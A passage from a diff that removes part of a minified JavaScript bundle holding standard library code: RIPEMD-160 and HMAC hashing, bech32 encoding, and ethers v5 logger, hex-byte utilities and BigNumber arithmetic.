3285377520], this.endian = "little"; - } - function c2(t3, e3, r5, n3) { - return t3 <= 15 ? e3 ^ r5 ^ n3 : t3 <= 31 ? e3 & r5 | ~e3 & n3 : t3 <= 47 ? (e3 | ~r5) ^ n3 : t3 <= 63 ? e3 & n3 | r5 & ~n3 : e3 ^ (r5 | ~n3); - } - function h2(t3) { - return t3 <= 15 ? 0 : t3 <= 31 ? 1518500249 : t3 <= 47 ? 1859775393 : t3 <= 63 ? 2400959708 : 2840853838; - } - function g2(t3) { - return t3 <= 15 ? 1352829926 : t3 <= 31 ? 1548603684 : t3 <= 47 ? 1836072691 : t3 <= 63 ? 2053994217 : 0; - } - e2.inherits(a2, s2), t2.ripemd160 = a2, a2.blockSize = 512, a2.outSize = 160, a2.hmacStrength = 192, a2.padLength = 64, a2.prototype._update = function(t3, e3) { - for (var r5 = this.h[0], s3 = this.h[1], a3 = this.h[2], d2 = this.h[3], I2 = this.h[4], y2 = r5, C2 = s3, m2 = a3, B2 = d2, E2 = I2, w2 = 0; w2 < 80; w2++) { - var v2 = A2(n2(o2(r5, c2(w2, s3, a3, d2), t3[u2[w2] + e3], h2(w2)), f2[w2]), I2); - r5 = I2, I2 = d2, d2 = n2(a3, 10), a3 = s3, s3 = v2, v2 = A2(n2(o2(y2, c2(79 - w2, C2, m2, B2), t3[l2[w2] + e3], g2(w2)), p2[w2]), E2), y2 = E2, E2 = B2, B2 = n2(m2, 10), m2 = C2, C2 = v2; - } - v2 = i2(this.h[1], a3, B2), this.h[1] = i2(this.h[2], d2, E2), this.h[2] = i2(this.h[3], I2, y2), this.h[3] = i2(this.h[4], r5, C2), this.h[4] = i2(this.h[0], s3, m2), this.h[0] = v2; - }, a2.prototype._digest = function(t3) { - return "hex" === t3 ? e2.toHex32(this.h, "little") : e2.split32(this.h, "little"); - }; - var u2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13], l2 = [5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11], f2 = [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6], p2 = [8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]; - } }); - var Bl = rl({ "node_modules/hash.js/lib/hash/hmac.js"(t2, e2) { - Al(), il(); - var r4 = gl(), n2 = cl(); - function A2(t3, e3, n3) { - if (!(this instanceof A2)) - return new A2(t3, e3, n3); - this.Hash = t3, this.blockSize = t3.blockSize / 8, this.outSize = t3.outSize / 8, this.inner = null, this.outer = null, this._init(r4.toArray(e3, n3)); - } - e2.exports = A2, A2.prototype._init = function(t3) { - t3.length > this.blockSize && (t3 = new this.Hash().update(t3).digest()), n2(t3.length <= this.blockSize); - for (var e3 = t3.length; e3 < this.blockSize; e3++) - t3.push(0); - for (e3 = 0; e3 < t3.length; e3++) - t3[e3] ^= 54; - for (this.inner = new this.Hash().update(t3), e3 = 0; e3 < t3.length; e3++) - t3[e3] ^= 106; - this.outer = new this.Hash().update(t3); - }, A2.prototype.update = function(t3, e3) { - return this.inner.update(t3, e3), this; - }, A2.prototype.digest = function(t3) { - return this.outer.update(this.inner.digest()), this.outer.digest(t3); - }; - } }); - var El = rl({ "node_modules/hash.js/lib/hash.js"(t2) { - Al(), il(); - var e2 = t2; - e2.utils = gl(), e2.common = ul(), e2.sha = Cl(), e2.ripemd = ml(), e2.hmac = Bl(), e2.sha1 = e2.sha.sha1, e2.sha256 = e2.sha.sha256, e2.sha224 = e2.sha.sha224, e2.sha384 = e2.sha.sha384, e2.sha512 = e2.sha.sha512, e2.ripemd160 = e2.ripemd.ripemd160; - } }); - var wl = rl({ "node_modules/bech32/index.js"(t2, e2) { - Al(), il(); - var r4, n2, A2 = "qpzry9x8gf2tvdw0s3jn54khce6mua7l", i2 = {}; - for (n2 = 0; n2 < 32; n2++) { - if (r4 = A2.charAt(n2), void 0 !== i2[r4]) - throw new TypeError(r4 + " is ambiguous"); - i2[r4] = n2; - } - function o2(t3) { - var e3 = t3 >> 25; - return (33554431 & t3) << 5 ^ 996825010 & -(1 & e3) ^ 642813549 & -(e3 >> 1 & 1) ^ 513874426 & -(e3 >> 2 & 1) ^ 1027748829 & -(e3 >> 3 & 1) ^ 705979059 & -(e3 >> 4 & 1); - } - function s2(t3) { - for (var e3 = 1, r5 = 0; r5 < t3.length; ++r5) { - var n3 = t3.charCodeAt(r5); - if (n3 < 33 || n3 > 126) - return "Invalid prefix (" + t3 + ")"; - e3 = o2(e3) ^ n3 >> 5; - } - for (e3 = o2(e3), r5 = 0; r5 < t3.length; ++r5) { - var A3 = t3.charCodeAt(r5); - e3 = o2(e3) ^ 31 & A3; - } - return e3; - } - function a2(t3, e3) { - if (e3 = e3 || 90, t3.length < 8) - return t3 + " too short"; - if (t3.length > e3) - return "Exceeds length limit"; - var r5 = t3.toLowerCase(), n3 = t3.toUpperCase(); - if (t3 !== r5 && t3 !== n3) - return "Mixed-case string " + t3; - var A3 = (t3 = r5).lastIndexOf("1"); - if (-1 === A3) - return "No separator character for " + t3; - if (0 === A3) - return "Missing prefix for " + t3; - var a3 = t3.slice(0, A3), c3 = t3.slice(A3 + 1); - if (c3.length < 6) - return "Data too short"; - var h2 = s2(a3); - if ("string" == typeof h2) - return h2; - for (var g2 = [], u2 = 0; u2 < c3.length; ++u2) { - var l2 = c3.charAt(u2), f2 = i2[l2]; - if (void 0 === f2) - return "Unknown character " + l2; - h2 = o2(h2) ^ f2, u2 + 6 >= c3.length || g2.push(f2); - } - return 1 !== h2 ? "Invalid checksum for " + t3 : { prefix: a3, words: g2 }; - } - function c2(t3, e3, r5, n3) { - for (var A3 = 0, i3 = 0, o3 = (1 << r5) - 1, s3 = [], a3 = 0; a3 < t3.length; ++a3) - for (A3 = A3 << e3 | t3[a3], i3 += e3; i3 >= r5; ) - i3 -= r5, s3.push(A3 >> i3 & o3); - if (n3) - i3 > 0 && s3.push(A3 << r5 - i3 & o3); - else { - if (i3 >= e3) - return "Excess padding"; - if (A3 << r5 - i3 & o3) - return "Non-zero padding"; - } - return s3; - } - e2.exports = { decodeUnsafe: function() { - var t3 = a2.apply(null, arguments); - if ("object" == typeof t3) - return t3; - }, decode: function(t3) { - var e3 = a2.apply(null, arguments); - if ("object" == typeof e3) - return e3; - throw new Error(e3); - }, encode: function(t3, e3, r5) { - if (r5 = r5 || 90, t3.length + 7 + e3.length > r5) - throw new TypeError("Exceeds length limit"); - var n3 = s2(t3 = t3.toLowerCase()); - if ("string" == typeof n3) - throw new Error(n3); - for (var i3 = t3 + "1", a3 = 0; a3 < e3.length; ++a3) { - var c3 = e3[a3]; - if (c3 >> 5) - throw new Error("Non 5-bit word"); - n3 = o2(n3) ^ c3, i3 += A2.charAt(c3); - } - for (a3 = 0; a3 < 6; ++a3) - n3 = o2(n3); - for (n3 ^= 1, a3 = 0; a3 < 6; ++a3) { - i3 += A2.charAt(n3 >> 5 * (5 - a3) & 31); - } - return i3; - }, toWordsUnsafe: function(t3) { - var e3 = c2(t3, 8, 5, true); - if (Array.isArray(e3)) - return e3; - }, toWords: function(t3) { - var e3 = c2(t3, 8, 5, true); - if (Array.isArray(e3)) - return e3; - throw new Error(e3); - }, fromWordsUnsafe: function(t3) { - var e3 = c2(t3, 5, 8, false); - if (Array.isArray(e3)) - return e3; - }, fromWords: function(t3) { - var e3 = c2(t3, 5, 8, false); - if (Array.isArray(e3)) - return e3; - throw new Error(e3); - } }; - } }); - Al(), il(), Al(), il(); - var vl = Object.fromEntries(Object.entries(zu).map(([t2, e2]) => { - const r4 = parseInt(t2); - return [e2.charAt(0).toUpperCase() + e2.slice(1), r4]; - })); - var _l = Object.fromEntries(Object.entries(vl).map(([t2, e2]) => [e2, t2.charAt(0).toUpperCase() + t2.slice(1)])); - var Ql = Object.fromEntries(Object.entries(vl).map(([, t2]) => [t2, qu[t2] || []])); - vl.Mainnet, vl.Gnosis, vl.Mainnet, vl.Goerli, vl.Gnosis, vl.Anvil, vl.Mainnet, vl.Goerli, vl.Gnosis, vl.Anvil, Al(), il(), Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var bl = nl(sl()); - Al(), il(), Al(), il(), Al(), il(); - var kl = false; - var Dl = false; - var Sl = { debug: 1, default: 2, info: 2, warning: 3, error: 4, off: 5 }; - var Nl = Sl.default; - var Ml = null; - var xl; - var Fl; - var Pl; - var Tl; - var Rl = function() { - try { - const t2 = []; - if (["NFD", "NFC", "NFKD", "NFKC"].forEach((e2) => { - try { - if ("test" !== "test".normalize(e2)) - throw new Error("bad normalize"); - } catch (r4) { - t2.push(e2); - } - }), t2.length) - throw new Error("missing " + t2.join(", ")); - if (String.fromCharCode(233).normalize("NFD") !== String.fromCharCode(101, 769)) - throw new Error("broken implementation"); - } catch (t2) { - return t2.message; - } - return null; - }(); - (Fl = xl || (xl = {})).DEBUG = "DEBUG", Fl.INFO = "INFO", Fl.WARNING = "WARNING", Fl.ERROR = "ERROR", Fl.OFF = "OFF", (Tl = Pl || (Pl = {})).UNKNOWN_ERROR = "UNKNOWN_ERROR", Tl.NOT_IMPLEMENTED = "NOT_IMPLEMENTED", Tl.UNSUPPORTED_OPERATION = "UNSUPPORTED_OPERATION", Tl.NETWORK_ERROR = "NETWORK_ERROR", Tl.SERVER_ERROR = "SERVER_ERROR", Tl.TIMEOUT = "TIMEOUT", Tl.BUFFER_OVERRUN = "BUFFER_OVERRUN", Tl.NUMERIC_FAULT = "NUMERIC_FAULT", Tl.MISSING_NEW = "MISSING_NEW", Tl.INVALID_ARGUMENT = "INVALID_ARGUMENT", Tl.MISSING_ARGUMENT = "MISSING_ARGUMENT", Tl.UNEXPECTED_ARGUMENT = "UNEXPECTED_ARGUMENT", Tl.CALL_EXCEPTION = "CALL_EXCEPTION", Tl.INSUFFICIENT_FUNDS = "INSUFFICIENT_FUNDS", Tl.NONCE_EXPIRED = "NONCE_EXPIRED", Tl.REPLACEMENT_UNDERPRICED = "REPLACEMENT_UNDERPRICED", Tl.UNPREDICTABLE_GAS_LIMIT = "UNPREDICTABLE_GAS_LIMIT", Tl.TRANSACTION_REPLACED = "TRANSACTION_REPLACED", Tl.ACTION_REJECTED = "ACTION_REJECTED"; - var Ul = "0123456789abcdef"; - var Gl = class t2 { - constructor(t3) { - Object.defineProperty(this, "version", { enumerable: true, value: t3, writable: false }); - } - _log(t3, e2) { - const r4 = t3.toLowerCase(); - null == Sl[r4] && this.throwArgumentError("invalid log level name", "logLevel", t3), Nl > Sl[r4] || console.log.apply(console, e2); - } - debug(...e2) { - this._log(t2.levels.DEBUG, e2); - } - info(...e2) { - this._log(t2.levels.INFO, e2); - } - warn(...e2) { - this._log(t2.levels.WARNING, e2); - } - makeError(e2, r4, n2) { - if (Dl) - return this.makeError("censored error", r4, {}); - r4 || (r4 = t2.errors.UNKNOWN_ERROR), n2 || (n2 = {}); - const A2 = []; - Object.keys(n2).forEach((t3) => { - const e3 = n2[t3]; - try { - if (e3 instanceof Uint8Array) { - let r5 = ""; - for (let t4 = 0; t4 < e3.length; t4++) - r5 += Ul[e3[t4] >> 4], r5 += Ul[15 & e3[t4]]; - A2.push(t3 + "=Uint8Array(0x" + r5 + ")"); - } else - A2.push(t3 + "=" + JSON.stringify(e3)); - } catch (e4) { - A2.push(t3 + "=" + JSON.stringify(n2[t3].toString())); - } - }), A2.push(`code=${r4}`), A2.push(`version=${this.version}`); - const i2 = e2; - let o2 = ""; - switch (r4) { - case Pl.NUMERIC_FAULT: { - o2 = "NUMERIC_FAULT"; - const t3 = e2; - switch (t3) { - case "overflow": - case "underflow": - case "division-by-zero": - o2 += "-" + t3; - break; - case "negative-power": - case "negative-width": - o2 += "-unsupported"; - break; - case "unbound-bitwise-result": - o2 += "-unbound-result"; - } - break; - } - case Pl.CALL_EXCEPTION: - case Pl.INSUFFICIENT_FUNDS: - case Pl.MISSING_NEW: - case Pl.NONCE_EXPIRED: - case Pl.REPLACEMENT_UNDERPRICED: - case Pl.TRANSACTION_REPLACED: - case Pl.UNPREDICTABLE_GAS_LIMIT: - o2 = r4; - } - o2 && (e2 += " [ See: https://links.ethers.org/v5-errors-" + o2 + " ]"), A2.length && (e2 += " (" + A2.join(", ") + ")"); - const s2 = new Error(e2); - return s2.reason = i2, s2.code = r4, Object.keys(n2).forEach(function(t3) { - s2[t3] = n2[t3]; - }), s2; - } - throwError(t3, e2, r4) { - throw this.makeError(t3, e2, r4); - } - throwArgumentError(e2, r4, n2) { - return this.throwError(e2, t2.errors.INVALID_ARGUMENT, { argument: r4, value: n2 }); - } - assert(t3, e2, r4, n2) { - t3 || this.throwError(e2, r4, n2); - } - assertArgument(t3, e2, r4, n2) { - t3 || this.throwArgumentError(e2, r4, n2); - } - checkNormalize(e2) { - Rl && this.throwError("platform missing String.prototype.normalize", t2.errors.UNSUPPORTED_OPERATION, { operation: "String.prototype.normalize", form: Rl }); - } - checkSafeUint53(e2, r4) { - "number" == typeof e2 && (null == r4 && (r4 = "value not safe"), (e2 < 0 || e2 >= 9007199254740991) && this.throwError(r4, t2.errors.NUMERIC_FAULT, { operation: "checkSafeInteger", fault: "out-of-safe-range", value: e2 }), e2 % 1 && this.throwError(r4, t2.errors.NUMERIC_FAULT, { operation: "checkSafeInteger", fault: "non-integer", value: e2 })); - } - checkArgumentCount(e2, r4, n2) { - n2 = n2 ? ": " + n2 : "", e2 < r4 && this.throwError("missing argument" + n2, t2.errors.MISSING_ARGUMENT, { count: e2, expectedCount: r4 }), e2 > r4 && this.throwError("too many arguments" + n2, t2.errors.UNEXPECTED_ARGUMENT, { count: e2, expectedCount: r4 }); - } - checkNew(e2, r4) { - e2 !== Object && null != e2 || this.throwError("missing new", t2.errors.MISSING_NEW, { name: r4.name }); - } - checkAbstract(e2, r4) { - e2 === r4 ? this.throwError("cannot instantiate abstract class " + JSON.stringify(r4.name) + " directly; use a sub-class", t2.errors.UNSUPPORTED_OPERATION, { name: e2.name, operation: "new" }) : e2 !== Object && null != e2 || this.throwError("missing new", t2.errors.MISSING_NEW, { name: r4.name }); - } - static globalLogger() { - return Ml || (Ml = new t2("logger/5.7.0")), Ml; - } - static setCensorship(e2, r4) { - if (!e2 && r4 && this.globalLogger().throwError("cannot permanently disable censorship", t2.errors.UNSUPPORTED_OPERATION, { operation: "setCensorship" }), kl) { - if (!e2) - return; - this.globalLogger().throwError("error censorship permanent", t2.errors.UNSUPPORTED_OPERATION, { operation: "setCensorship" }); - } - Dl = !!e2, kl = !!r4; - } - static setLogLevel(e2) { - const r4 = Sl[e2.toLowerCase()]; - null != r4 ? Nl = r4 : t2.globalLogger().warn("invalid log level - " + e2); - } - static from(e2) { - return new t2(e2); - } - }; - Gl.errors = Pl, Gl.levels = xl, Al(), il(); - var Hl = new Gl("bytes/5.7.0"); - function Ll(t2) { - return !!t2.toHexString; - } - function Ol(t2) { - return t2.slice || (t2.slice = function() { - const e2 = Array.prototype.slice.call(arguments); - return Ol(new Uint8Array(Array.prototype.slice.apply(t2, e2))); - }), t2; - } - function Yl(t2) { - return Xl(t2) && !(t2.length % 2) || Jl(t2); - } - function Kl(t2) { - return "number" == typeof t2 && t2 == t2 && t2 % 1 == 0; - } - function Jl(t2) { - if (null == t2) - return false; - if (t2.constructor === Uint8Array) - return true; - if ("string" == typeof t2) - return false; - if (!Kl(t2.length) || t2.length < 0) - return false; - for (let e2 = 0; e2 < t2.length; e2++) { - const r4 = t2[e2]; - if (!Kl(r4) || r4 < 0 || r4 >= 256) - return false; - } - return true; - } - function jl(t2, e2) { - if (e2 || (e2 = {}), "number" == typeof t2) { - Hl.checkSafeUint53(t2, "invalid arrayify value"); - const e3 = []; - for (; t2; ) - e3.unshift(255 & t2), t2 = parseInt(String(t2 / 256)); - return 0 === e3.length && e3.push(0), Ol(new Uint8Array(e3)); - } - if (e2.allowMissingPrefix && "string" == typeof t2 && "0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), Ll(t2) && (t2 = t2.toHexString()), Xl(t2)) { - let r4 = t2.substring(2); - r4.length % 2 && ("left" === e2.hexPad ? r4 = "0" + r4 : "right" === e2.hexPad ? r4 += "0" : Hl.throwArgumentError("hex data is odd-length", "value", t2)); - const n2 = []; - for (let t3 = 0; t3 < r4.length; t3 += 2) - n2.push(parseInt(r4.substring(t3, t3 + 2), 16)); - return Ol(new Uint8Array(n2)); - } - return Jl(t2) ? Ol(new Uint8Array(t2)) : Hl.throwArgumentError("invalid arrayify value", "value", t2); - } - function zl(t2) { - const e2 = t2.map((t3) => jl(t3)), r4 = e2.reduce((t3, e3) => t3 + e3.length, 0), n2 = new Uint8Array(r4); - return e2.reduce((t3, e3) => (n2.set(e3, t3), t3 + e3.length), 0), Ol(n2); - } - function ql(t2) { - let e2 = jl(t2); - if (0 === e2.length) - return e2; - let r4 = 0; - for (; r4 < e2.length && 0 === e2[r4]; ) - r4++; - return r4 && (e2 = e2.slice(r4)), e2; - } - function Xl(t2, e2) { - return !("string" != typeof t2 || !t2.match(/^0x[0-9A-Fa-f]*$/)) && (!e2 || t2.length === 2 + 2 * e2); - } - var Vl = "0123456789abcdef"; - function Wl(t2, e2) { - if (e2 || (e2 = {}), "number" == typeof t2) { - Hl.checkSafeUint53(t2, "invalid hexlify value"); - let e3 = ""; - for (; t2; ) - e3 = Vl[15 & t2] + e3, t2 = Math.floor(t2 / 16); - return e3.length ? (e3.length % 2 && (e3 = "0" + e3), "0x" + e3) : "0x00"; - } - if ("bigint" == typeof t2) - return (t2 = t2.toString(16)).length % 2 ? "0x0" + t2 : "0x" + t2; - if (e2.allowMissingPrefix && "string" == typeof t2 && "0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), Ll(t2)) - return t2.toHexString(); - if (Xl(t2)) - return t2.length % 2 && ("left" === e2.hexPad ? t2 = "0x0" + t2.substring(2) : "right" === e2.hexPad ? t2 += "0" : Hl.throwArgumentError("hex data is odd-length", "value", t2)), t2.toLowerCase(); - if (Jl(t2)) { - let e3 = "0x"; - for (let r4 = 0; r4 < t2.length; r4++) { - let n2 = t2[r4]; - e3 += Vl[(240 & n2) >> 4] + Vl[15 & n2]; - } - return e3; - } - return Hl.throwArgumentError("invalid hexlify value", "value", t2); - } - function Zl(t2) { - if ("string" != typeof t2) - t2 = Wl(t2); - else if (!Xl(t2) || t2.length % 2) - return null; - return (t2.length - 2) / 2; - } - function $l(t2, e2, r4) { - return "string" != typeof t2 ? t2 = Wl(t2) : (!Xl(t2) || t2.length % 2) && Hl.throwArgumentError("invalid hexData", "value", t2), e2 = 2 + 2 * e2, null != r4 ? "0x" + t2.substring(e2, 2 + 2 * r4) : "0x" + t2.substring(e2); - } - function tf(t2) { - let e2 = "0x"; - return t2.forEach((t3) => { - e2 += Wl(t3).substring(2); - }), e2; - } - function ef(t2) { - const e2 = function(t3) { - "string" != typeof t3 && (t3 = Wl(t3)); - Xl(t3) || Hl.throwArgumentError("invalid hex string", "value", t3); - t3 = t3.substring(2); - let e3 = 0; - for (; e3 < t3.length && "0" === t3[e3]; ) - e3++; - return "0x" + t3.substring(e3); - }(Wl(t2, { hexPad: "left" })); - return "0x" === e2 ? "0x0" : e2; - } - function rf(t2, e2) { - for ("string" != typeof t2 ? t2 = Wl(t2) : Xl(t2) || Hl.throwArgumentError("invalid hex string", "value", t2), t2.length > 2 * e2 + 2 && Hl.throwArgumentError("value out of range", "value", arguments[1]); t2.length < 2 * e2 + 2; ) - t2 = "0x0" + t2.substring(2); - return t2; - } - function nf(t2) { - const e2 = { r: "0x", s: "0x", _vs: "0x", recoveryParam: 0, v: 0, yParityAndS: "0x", compact: "0x" }; - if (Yl(t2)) { - let r4 = jl(t2); - 64 === r4.length ? (e2.v = 27 + (r4[32] >> 7), r4[32] &= 127, e2.r = Wl(r4.slice(0, 32)), e2.s = Wl(r4.slice(32, 64))) : 65 === r4.length ? (e2.r = Wl(r4.slice(0, 32)), e2.s = Wl(r4.slice(32, 64)), e2.v = r4[64]) : Hl.throwArgumentError("invalid signature string", "signature", t2), e2.v < 27 && (0 === e2.v || 1 === e2.v ? e2.v += 27 : Hl.throwArgumentError("signature invalid v byte", "signature", t2)), e2.recoveryParam = 1 - e2.v % 2, e2.recoveryParam && (r4[32] |= 128), e2._vs = Wl(r4.slice(32, 64)); - } else { - if (e2.r = t2.r, e2.s = t2.s, e2.v = t2.v, e2.recoveryParam = t2.recoveryParam, e2._vs = t2._vs, null != e2._vs) { - const r5 = function(t3, e3) { - (t3 = jl(t3)).length > e3 && Hl.throwArgumentError("value out of range", "value", arguments[0]); - const r6 = new Uint8Array(e3); - return r6.set(t3, e3 - t3.length), Ol(r6); - }(jl(e2._vs), 32); - e2._vs = Wl(r5); - const n3 = r5[0] >= 128 ? 1 : 0; - null == e2.recoveryParam ? e2.recoveryParam = n3 : e2.recoveryParam !== n3 && Hl.throwArgumentError("signature recoveryParam mismatch _vs", "signature", t2), r5[0] &= 127; - const A2 = Wl(r5); - null == e2.s ? e2.s = A2 : e2.s !== A2 && Hl.throwArgumentError("signature v mismatch _vs", "signature", t2); - } - if (null == e2.recoveryParam) - null == e2.v ? Hl.throwArgumentError("signature missing v and recoveryParam", "signature", t2) : 0 === e2.v || 1 === e2.v ? e2.recoveryParam = e2.v : e2.recoveryParam = 1 - e2.v % 2; - else if (null == e2.v) - e2.v = 27 + e2.recoveryParam; - else { - const r5 = 0 === e2.v || 1 === e2.v ? e2.v : 1 - e2.v % 2; - e2.recoveryParam !== r5 && Hl.throwArgumentError("signature recoveryParam mismatch v", "signature", t2); - } - null != e2.r && Xl(e2.r) ? e2.r = rf(e2.r, 32) : Hl.throwArgumentError("signature missing or invalid r", "signature", t2), null != e2.s && Xl(e2.s) ? e2.s = rf(e2.s, 32) : Hl.throwArgumentError("signature missing or invalid s", "signature", t2); - const r4 = jl(e2.s); - r4[0] >= 128 && Hl.throwArgumentError("signature s out of range", "signature", t2), e2.recoveryParam && (r4[0] |= 128); - const n2 = Wl(r4); - e2._vs && (Xl(e2._vs) || Hl.throwArgumentError("signature invalid _vs", "signature", t2), e2._vs = rf(e2._vs, 32)), null == e2._vs ? e2._vs = n2 : e2._vs !== n2 && Hl.throwArgumentError("signature _vs mismatch v and s", "signature", t2); - } - return e2.yParityAndS = e2._vs, e2.compact = e2.r + e2.yParityAndS.substring(2), e2; - } - Al(), il(); - var Af = bl.default.BN; - var of = new Gl("bignumber/5.7.0"); - var sf = {}; - var af = 9007199254740991; - var cf = false; - var hf = class t2 { - constructor(t3, e2) { - t3 !== sf && of.throwError("cannot call constructor directly; use BigNumber.from", Gl.errors.UNSUPPORTED_OPERATION, { operation: "new (BigNumber)" }), this._hex = e2, this._isBigNumber = true, Object.freeze(this); - } - fromTwos(t3) { - return uf(lf(this).fromTwos(t3)); - } - toTwos(t3) { - return uf(lf(this).toTwos(t3)); - } - abs() { - return "-" === this._hex[0] ? t2.from(this._hex.substring(1)) : this; - } - add(t3) { - return uf(lf(this).add(lf(t3))); - } - sub(t3) { - return uf(lf(this).sub(lf(t3))); - } - div(e2) { - return t2.from(e2).isZero() && ff("division-by-zero", "div"), uf(lf(this).div(lf(e2))); - } - mul(t3) { - return uf(lf(this).mul(lf(t3))); - } - mod(t3) { - const e2 = lf(t3); - return e2.isNeg() && ff("division-by-zero", "mod"), uf(lf(this).umod(e2)); - } - pow(t3) { - const e2 = lf(t3); - return e2.isNeg() && ff("negative-power", "pow"), uf(lf(this).pow(e2)); - } - and(t3) { - const e2 = lf(t3); - return (this.isNegative() || e2.isNeg()) && ff("unbound-bitwise-result", "and"), uf(lf(this).and(e2)); - } - or(t3) { - const e2 = lf(t3); - return (this.isNegative() || e2.isNeg()) && ff("unbound-bitwise-result", "or"), uf(lf(this).or(e2)); - } - xor(t3) { - const e2 = lf(t3); - return (this.isNegative() || e2.isNeg()) && ff("unbound-bitwise-result", "xor"), uf(lf(this).xor(e2)); - } - mask(t3) { - return (this.isNegative() || t3 < 0) && ff("negative-width", "mask"), uf(lf(this).maskn(t3)); - } - shl(t3) { - return (this.isNegative() || t3 < 0) && ff("negative-width", "shl"), uf(lf(this).shln(t3)); - } - shr(t3) { - return (this.isNegative() || t3 < 0) && ff("negative-width", "shr"), uf(lf(this).shrn(t3)); - } - eq(t3) { - return lf(this).eq(lf(t3)); - } - lt(t3) { - return lf(this).lt(lf(t3)); - } - lte(t3) { - return lf(this).lte(lf(t3)); - } - gt(t3) { - return lf(this).gt(lf(t3)); - } - gte(t3) { - return lf(this).gte(lf(t3)); - } - isNegative() { - return "-" === this._hex[0]; - } - isZero() { - return lf(this).isZero(); - } - toNumber() { - try { - return lf(this).toNumber(); - } catch (t3) { - ff("overflow", "toNumber", this.toString()); - } - return null; - } - toBigInt() { - try { - return BigInt(this.toString()); - } catch (t3) { - } - return of.throwError("this platform does not support BigInt", Gl.errors.UNSUPPORTED_OPERATION, { value: this.toString() }); - } - toString() { - return arguments.length > 0 && (10 === arguments[0] ? cf || (cf = true, of.warn("BigNumber.toString does not accept any parameters; base-10 is assumed")) : 16 === arguments[0] ? of.throwError("BigNumber.toString does not accept any parameters; use bigNumber.toHexString()", Gl.errors.UNEXPECTED_ARGUMENT, {}) : of.throwError("BigNumber.toString does not accept parameters", Gl.errors.UNEXPECTED_ARGUMENT, {})), lf(this).toString(10); - } - toHexString() { - return this._hex; - } - toJSON(t3) { - return { type: "BigNumber", hex: this.toHexString() }; - } - static from(e2) { - if (e2 instanceof t2) - return e2; - if ("string" == typeof e2) - return e2.match(/^-?0x[0-9a-f]+$/i) ? new t2(sf, gf(e2)) : e2.match(/^-?[0-9]+$/) ? new t2(sf, gf(new Af(e2))) : of.throwArgumentError("invalid BigNumber string", "value", e2); - if ("number" == typeof e2) - return e2 % 1 && ff("underflow", "BigNumber.from", e2), (e2 >= af || e2 <= -af) && ff("overflow", "BigNumber.from", e2), t2.from(String(e2)); - const r4 = e2; - if ("bigint" == typeof r4) - return t2.from(r4.toString()); - if (Jl(r4)) - return t2.from(Wl(r4)); - if (r4) - if (r4.toHexString) { - const e3 = r4.toHexString(); - if ("string" == typeof e3) - return t2.from(e3); - } else { - let e3 = r4._hex; - if (null == e3 && "BigNumber" === r4.type && (e3 = r4.hex), "string" == typeof e3 && (Xl(e3) || "-" === e3[0] && Xl(e3.substring(1)))) - return t2.from(e3); - } - return of.throwArgumentError("invalid BigNumber value", "value", e2); - } - static isBigNumber(t3) { - return !(!t3 || !t3._isBigNumber); - } - }; - function gf(t2) { - if ("string" != typeof t2) - return gf(t2.toString(16)); - if ("-" === t2[0]) - return "-" === (t2 = t2.substring(1))[0] && of.throwArgumentError("invalid hex", "value", t2), "0x00" === (t2 = gf(t2)) ? t2 : "-" + t2; - if ("0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), "0x" === t2) - return "0x00"; - for (t2.length % 2 && (t2 = "0x0" + t2.substring(2)); t2.length > 4 && "0x00" === t2.substring(0, 4); ) - t2 = "0x" + t2.substring(4); - return t2; - } - function uf(t2) { - return hf.from(gf(t2)); - } - function lf(t2) { - const e2 = hf.from(t2).toHexString(); - return "-" === e2[0] ? new Af("-" + e2.substring(3), 16) : new Af(e2.substring(2), 16); - } - function ff(t2, e2, r4) { - const n2 = { fault: t2, operation: e2 }; - return null != r4 && (n2.value = r4), of.throwError(t2, Gl.errors.NUMERIC_FAULT, n2); - } - Al(), il(), Al(), il(); - var pf = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var df = new Gl("properties/5.7.0"); - function If(t2, e2, r4) { - Object.defineProperty(t2, e2, { enumerable: true, value: r4, writable: false }); - } - function yf(t2, e2) { - for (let r4 = 0; r4 < 32; r4++) { - if (t2[e2]) - return t2[e2]; - if (!t2.prototype || "object" != typeof t2.prototype) - break; - t2 = 